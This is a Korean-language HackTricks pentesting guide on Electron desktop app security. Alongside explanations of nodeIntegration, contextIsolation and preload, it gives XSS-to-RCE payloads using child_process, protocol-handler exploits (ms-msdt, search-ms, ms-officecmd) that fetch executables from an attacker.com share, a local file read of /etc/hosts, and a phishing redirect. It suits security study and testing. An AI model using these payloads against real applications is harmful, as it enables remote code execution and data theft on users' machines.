hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

20 KiB

일렉트론 데스크톱 앱

제로부터 히어로가 되기까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)와 함께!

HackTricks를 지원하는 다른 방법:

WhiteIntel

WhiteIntel다크 웹을 활용한 검색 엔진으로, 스틸러 악성 소프트웨어에 의해 회사나 고객이 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 엔진을 무료로 시험해 볼 수 있습니다:

{% embed url="https://whiteintel.io" %}


소개

일렉트론은 로컬 백엔드(NodeJS 포함)와 프론트엔드(Chromium)를 결합하지만, 현대 브라우저의 보안 메커니즘 중 일부가 부족합니다.

보통 일렉트론 앱 코드는 .asar 애플리케이션 내에 있으며, 코드를 얻으려면 추출해야 합니다:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron 앱의 소스 코드에서 packet.json 안에는 보안 구성이 설정된 main.js 파일이 지정되어 있습니다.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron에는 2가지 프로세스 유형이 있습니다:

  • Main Process (NodeJS에 완전한 액세스 권한이 있음)
  • Renderer Process (보안상의 이유로 NodeJS 액세스가 제한되어야 함)

렌더러 프로세스는 파일을 로드하는 브라우저 창이 될 것입니다:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

렌더러 프로세스의 설정은 main.js 파일 내부의 메인 프로세스에서 구성될 수 있습니다. 일부 구성은 Electron 애플리케이션이 RCE를 방지하거나 다른 취약점을 방지할 수 있습니다.

Electron 애플리케이션은 Node API를 통해 기기에 액세스할 수 있지만 다음과 같이 구성하여 방지할 수 있습니다:

  • nodeIntegration - 기본적으로 off입니다. 활성화하면 렌더러 프로세스에서 노드 기능에 액세스할 수 있습니다.
  • contextIsolation - 기본적으로 on입니다. 비활성화하면 메인 및 렌더러 프로세스가 격리되지 않습니다.
  • preload - 기본적으로 비어 있습니다.
  • sandbox - 기본적으로 비활성화되어 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
  • Workers에서의 노드 통합
  • nodeIntegrationInSubframes - 기본적으로 off입니다.
  • **nodeIntegration**이 활성화되어 있으면 Electron 애플리케이션 내에서 iframe에 로드된 웹 페이지에서 Node.js API를 사용할 수 있습니다.
  • **nodeIntegration**이 비활성화되어 있으면 preload이 iframe에서 로드됩니다.

구성 예시:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

다음은 여기에서 가져온 RCE 페이로드 몇 가지입니다:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

트래픽 캡처

start-main 구성을 수정하고 다음과 같이 프록시를 사용하도록 추가하십시오:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron 로컬 코드 삽입

Electron 앱을 로컬에서 실행할 수 있다면 임의의 JavaScript 코드를 실행할 수 있습니다. 다음에서 확인할 수 있습니다:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

만약 nodeIntegrationon으로 설정되어 있다면, 웹 페이지의 JavaScript는 require()를 호출하여 쉽게 Node.js 기능을 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

이 설정에 표시된 스크립트는 렌더러에서 다른 스크립트보다 먼저 로드되므로 Node API에 무제한 액세스가 가능합니다:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

따라서, 스크립트는 노드 기능을 페이지로 내보낼 수 있습니다:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} 만약 contextIsolation이 켜져 있다면, 이 방법은 작동하지 않을 것입니다 {% endhint %}

RCE: XSS + contextIsolation

_contextIsolation_은 웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트를 소개하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수적인 기능입니다.

컨텍스트가 격리되지 않으면 공격자가 다음을 수행할 수 있습니다:

  1. 렌더러에서 임의의 JavaScript 실행 (XSS 또는 외부 사이트로의 이동)
  2. preload 또는 Electron 내부 코드에서 사용되는 내장 메소드 덮어쓰기
  3. 덮어쓴 함수의 사용 유도
  4. RCE?

내장 메소드를 덮어쓸 수 있는 2곳이 있습니다: preload 코드 또는 Electron 내부 코드에서:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

클릭 이벤트 우회

링크를 클릭할 때 제한이 적용된 경우, 일반 왼쪽 클릭 대신 가운데 클릭을 하면 우회할 수 있을 수도 있습니다.

window.addEventListener('click', (e) => {

shell.openExternal을 통한 RCE

이 예제에 대한 자세한 내용은 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/에서 확인할 수 있습니다.

Electron 데스크톱 애플리케이션을 배포할 때 nodeIntegrationcontextIsolation에 대한 올바른 설정을 보장하는 것이 중요합니다. 이러한 설정이 적용되면 preload 스크립트나 Electron의 네이티브 코드를 대상으로 하는 **클라이언트 측 원격 코드 실행 (RCE)**이 효과적으로 방지됩니다.

사용자가 링크를 상호 작용하거나 새 창을 열 때 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안 및 기능에 중요합니다.

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

이러한 리스너는 데스크톱 애플리케이션이 자체 비즈니스 로직을 구현하기 위해 덮어씌워집니다. 애플리케이션은 탐색된 링크를 내부적으로 열지, 외부 웹 브라우저에서 열지를 판단합니다. 이 결정은 일반적으로 openInternally 함수를 통해 이루어집니다. 이 함수가 false를 반환하면, 해당 링크는 shell.openExternal 함수를 사용하여 외부에서 열어야 함을 나타냅니다.

다음은 간단한 의사 코드입니다:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS 보안 모범 사례는 openExternal 함수를 통해 신뢰할 수 없는 콘텐츠를 수락하지 않는 것을 권장하며, 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있습니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예제 및 설명은 이 리소스를 참조할 수 있으며, 이는 이 취약점을 악용할 수 있는 Windows 프로토콜 예제를 포함하고 있습니다.

Windows 프로토콜 악용의 예시:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

내부 파일 읽기: XSS + contextIsolation

contextIsolation 비활성화는 <webview> 태그를 사용할 수 있게 합니다, <iframe>과 유사하게, 로컬 파일을 읽고 유출하는 데 사용됩니다. 제공된 예제는 내부 파일의 내용을 읽기 위해 이 취약점을 악용하는 방법을 보여줍니다:

또한 내부 파일을 읽는 또 다른 방법이 공유되며, Electron 데스크톱 앱에서 중요한 로컬 파일 읽기 취약점을 강조합니다. 이는 응용 프로그램을 악용하고 데이터를 유출하기 위해 스크립트를 삽입하는 것을 포함합니다:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + 오래된 Chromium

만약 애플리케이션에서 사용하는 chromium오래되었고 그 위에 알려진 취약점이 있다면, XSS를 통해 RCE를 얻을 수도 있습니다.
writeup에서 예제를 볼 수 있습니다: https://blog.electrovolt.io/posts/discord-rce/

내부 URL 정규식 우회를 통한 XSS 피싱

XSS를 발견했지만 RCE를 유발하거나 내부 파일을 도용할 수 없는 경우에는 피싱을 통해 자격 증명을 도용하려고 시도할 수 있습니다.

우선, 새 URL을 열려고 할 때 무슨 일이 일어나는지 알아야 합니다. 프론트엔드의 JS 코드를 확인해야 합니다:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternally 함수 호출은 링크가 플랫폼에 속하는 링크인 경우 데스크톱 창에서 열지 결정하거나 3rd party 자원으로 브라우저에서 열지 여부를 결정합니다.

함수에서 사용된 정규 표현식우회 가능한 경우(예: 서브도메인의 점을 이스케이프하지 않음), 공격자는 XSS를 악용하여 사용자에게 자격 증명을 요청하는 공격자의 인프라에 위치한 새 창을 열 수 있습니다:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

도구

  • Electronegativity은 Electron 기반 애플리케이션에서 구성 오류와 보안 안티 패턴을 식별하는 도구입니다.
  • Electrolint은 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
  • nodejsscan은 취약한 서드 파티 라이브러리를 확인하는 도구입니다.
  • Electro.ng: 구매해야 합니다

실습

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s에서 취약한 Electron 앱을 악용하는 랩을 찾을 수 있습니다.

랩을 수행하는 데 도움이 되는 몇 가지 명령어:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

참고 자료

WhiteIntel

WhiteIntel다크 웹을 활용한 검색 엔진으로, 회사나 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 확인하는 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 대항하는 것입니다.

그들의 웹사이트를 방문하여 무료로 엔진을 시험해 볼 수 있습니다:

{% embed url="https://whiteintel.io" %}

제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)와 함께!

HackTricks를 지원하는 다른 방법: